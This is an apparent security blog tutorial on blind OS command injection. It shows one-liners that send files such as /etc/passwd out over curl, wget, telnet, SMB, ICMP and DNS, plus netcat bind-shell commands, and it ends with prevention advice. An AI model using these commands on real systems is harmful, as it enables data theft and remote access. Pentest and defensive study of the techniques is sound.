Data Exfiltration via Blind OS Command Injection

Show left menu  
Hide left menu  
Bandit Robbery

By Craig Donkin, 16 Nov. 2015

On a penetration test or CTF challenge you may come across an application that takes user input and passes it to a system command or to a supporting program that runs a task on the underlying server. If validation is not performed against user input, the application may be vulnerable to an attack known as ‘Operating System Command Injection’. It may be possible for an attacker to supply input to the application that contains operating system commands that are executed with the privileges of the vulnerable application. Context has observed this type of attack in a large number of applications, for example:

  • Applications that send an email to a user supplied address,
  • Enterprise Server Monitoring applications that return system health information,
  • Applications that use 3rd party tools to generate on-the-fly reports based on user supplied input.

After identifying a vulnerability on a pentest or CTF you may start to target areas of interest on the host in the hope of finding the trophy or sensitive information such as:

  • Operating System Password Files,
  • Operating System configuration files,
  • Database files,
  • Application Source Code.

The following screenshot shows a basic example: I have injected the Windows command ‘type’, which was passed as a parameter and interpreted as a system command reading a file containing top secret missile launch codes that were stored on the server:

Basic OS Command Injection

Often it is necessary to ‘break out’ of the command that is already running to execute arbitrary commands. Imagine a system health application that takes a host IP address and runs ‘ping’ against an IP address to determine if the host is up. On the underlying OS the following command is run where the IP address is the user supplied input.

ping –c 5 xxx.xxx.xxx.xxx

If you want to run your own command after the application has run the intended ping command, it may be possible to inject command operators which allow you to run arbitrary OS commands on the host. The following table details a number of these that can be used in this attack:

overviewtable

In the missile code example we saw that the contents of the file were returned by the application within the HTTP response data. Often no output is returned after the command has run. These vulnerabilities are known as ‘Blind OS Command Injection’.

How do we retrieve sensitive information or our trophy from the host in this instance? This blog will detail a number of ways this can be achieved without uploading a web shell to the host. 

NetCat

The first example is using netcat. Netcat is a simple utility which reads and writes data across a network connection using TCP or UDP. If netcat is running on the vulnerable server, you could use it to set up a listener and then redirect the output of operating system commands into the listener.

After you have broken out of the command, set up a netcat listener on the vulnerable server and pipe the contents of the file into the listener:

 nc –l –p {port} < {file/to/extract}

On your host you can connect to the listener on the vulnerable server and retrieve the output. The following screenshot shows how we have retrieved the /etc/passwd file from the host:

NetCat

If the host is running windows and netcat is present a similar attack can be done with the following command:

type {file to extract}  | nc -L -p {port}

cURL

cURL is a library and command-line tool for transferring data using various protocols, and is a very useful tool for data exfiltration.  If the vulnerable server has cURL we can use it to POST a file to a malicious web server or to transfer a file using a number of protocols, such as FTP/SCP/TFTP/TELNET and more.

To use HTTP once you have identified an OS command injection vulnerability, use the following command to POST the contents of a file to your web server:

cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt

You will be able to see the contents of the file in the server logs. If this was done on a penetration test, the web server could be configured to use SSL to protect client data being transmitted over the internet. The following screenshot shows the contents of the /etc/passwd file within the data field of a request:

CURL-1

The CURL command can also be used to transfer a file over FTP. Once you have identified an OS command injection vulnerability, use the –T flag to transfer a file to an FTP server:

curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password}

In the following screenshot I have used FTP to steal top secret plans for world domination from the vulnerable server:

CURL-2

As mentioned earlier cURL can be used to transfer data over other protocols not discussed here, such as SCP, TFTP and TELNET.

WGET

Wget is a tool more commonly used for non-interactive download of files from the web; however there are a few flags that can be used to retrieve a file or data from a web server by using custom headers and POST requests.

It is possible to use WGET to submit a request to the server with a header line in the format of:

–header=’name:value’

It is possible to submit a request to the server with a custom header that contains the contents of a file you want to capture. To do so we need to retrieve the contents of a file and set this as the header value. 

As we learned earlier, we can use a subshell to run commands within another command. In the following example I have entered the command I want to run in a subshell as the value for the header:

wget –header=”EVIL:$(cat /data/secret/password.txt)”http://xxx.xxx.xxx:xxx

As you can see in the screenshot, our webserver logs shows a request has been made and the contents of /data/secret/password.txt have been returned as the value for the header ‘EVIL’:

wget-1 

We can also use ticks to encapsulate a separate command within data that is being processed by the original command. The next example shows how we have retrieved the /etc/passwd file. As the file is more than one line I have used xargs and echo to strip the new lines:

wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://xxx.xxx.xxx:xxxx

Wget-2

It is also possible to use WGET to submit a POST request to our web server  and send string data in the request body using the ‘—post-data’ flag or the contents of a file using the ‘—post-file’ flag. These flags expect the content of the form

‘key1=value1&key2=value2’. 
To retrieve the contents of a file using ‘post-data’ we can run a command such as the one below which extracts a file containing a secret code:

wget –post-data exfil=`cat /data/secret/secretcode.txt` http://xxx.xxx.xxx.xxx:xxxx

wget-3

The next command shows how we can use ‘post-file’ to retrieve a web page that forms part of the application. On a pentest we might do this to view the code to identify further vulnerabilities; on a CTF you might do this to reveal a trophy hidden within the PHP code:

wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx

wget-4

SMB

If the vulnerable web application is running on windows it may be possible to extract a file by creating a network share on your host and then getting the victim server to connect to your share and to copy the file over. This can be done with the net use command:

net use h: \\xxx.xxx.xxx.xxx\web /user:{username} {password} && copy {File to Copy} h:\{filename}.txt

SMB

TELNET

If telnet client is on the remote server you can use this to transfer a file to a listener on your host using the following command:

telnet xxx.xxx.xxx.xxx {port} < {file to transfer}

The following screenshot shows the /etc/passwd file being retrieved:

telnet

ICMP

If the host you are targeting has been hardened and tools such as netcat, wget and CURL have been removed there are still some techniques you can use.  Try and get the host to ping your box and see if ICMP is let out through any intervening firewalls.  If it is, and the underlying host is running Linux, we can exfiltrate data in ICMP echo requests using the –p flag.  The –p flag allows you to specify up to 16 “pad” bytes. This is where we will store the data we want to exfiltrate.

First we need to convert the file into hex, and then specify the data to be inserted into the packet. This can be done with the following one-liner:

cat password.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done

icmp-1

In Wireshark we can observe the packets containing our data.  You could write a script which scrapes the packets and re-assembles the file on the host.

 icmp------p-2

icmp3

icmp4

DNS

In a similar way to using ping, DNS can also be used to exfiltrate data. This time we are going to use each line of data as the host name of a DNS query. By monitoring the traffic on our machine we can reassemble the file. In this instance the following command is submitted as part of our request to the vulnerable server:

cat /data/secret/password.txt | while read exfil; do host $exfil.contextis.com 192.168.107.135; done

DNS1

As with ping you could write a script to scrape the incoming DNS packets and reassemble the file:

dns-2

DNSWatch can also be used to retrieve data. For more information check out the blog post. 

Taking it further

A number of techniques detailed within this blog could be used to further an attack on a victim application. For example you could get an interactive shell using netcat:

nc -L -p 9090 -e cmd.exe (Windows)

nc -l -p 9090 -e /bin/bash (*nix) 

Or you could host scripts and tools that you then retrieve using cURL, WGET, SMB etc to further attack the host. Hopefully this blog gives you some ideas for your next penetration test or CTF. 

Prevention

In this blog post we’ve demonstrated a number of techniques for exfiltrating data from a server using blind OS command injection. So how do you go about preventing such an occurrence?

  1. Prevent, if possible, user supplied input from being passed to or used as arguments for OS Commands.
  2. All user input should be sanitised, with any damaging characters such as those shown in the table at the start of the blog being stripped out. The best way to do this is to use a whitelist of allowed characters. Anything not in the list should be logged and discarded.
  3. Perform regular code reviews and penetration tests to ensure vulnerabilities within your application are identified and remediate vulnerabilities quickly and effectively.  A follow up test should be conducted to make sure any identified vulnerabilities have been remediated successfully.

The web application server should also be hardened, to ensure that if the application is vulnerable then the impact of the compromise is mitigated:

  1. Remove any unnecessary tools from the server such as cURL, Wget and NetCat which could be used by an attacker.
  2. Run the web service daemon with a low privileged account.
  3. Ensure regular reviews of web application logs are conducted to identify any attacks against your network.
  4. Use firewalls to prevent an attacker from calling back to their server.
  5. Perform a host-based audit of application servers to ensure security weaknesses are identified and remediated.

I hope you have found this blog interesting and useful. The techniques detailed in this blog are by no means novel or conclusive but form a good start to exploiting blind OS command injection.

Contact and Follow-Up

 Craig is part of our Assurance team in Context's London office. See the Contact page for how to get in touch.

Back to Top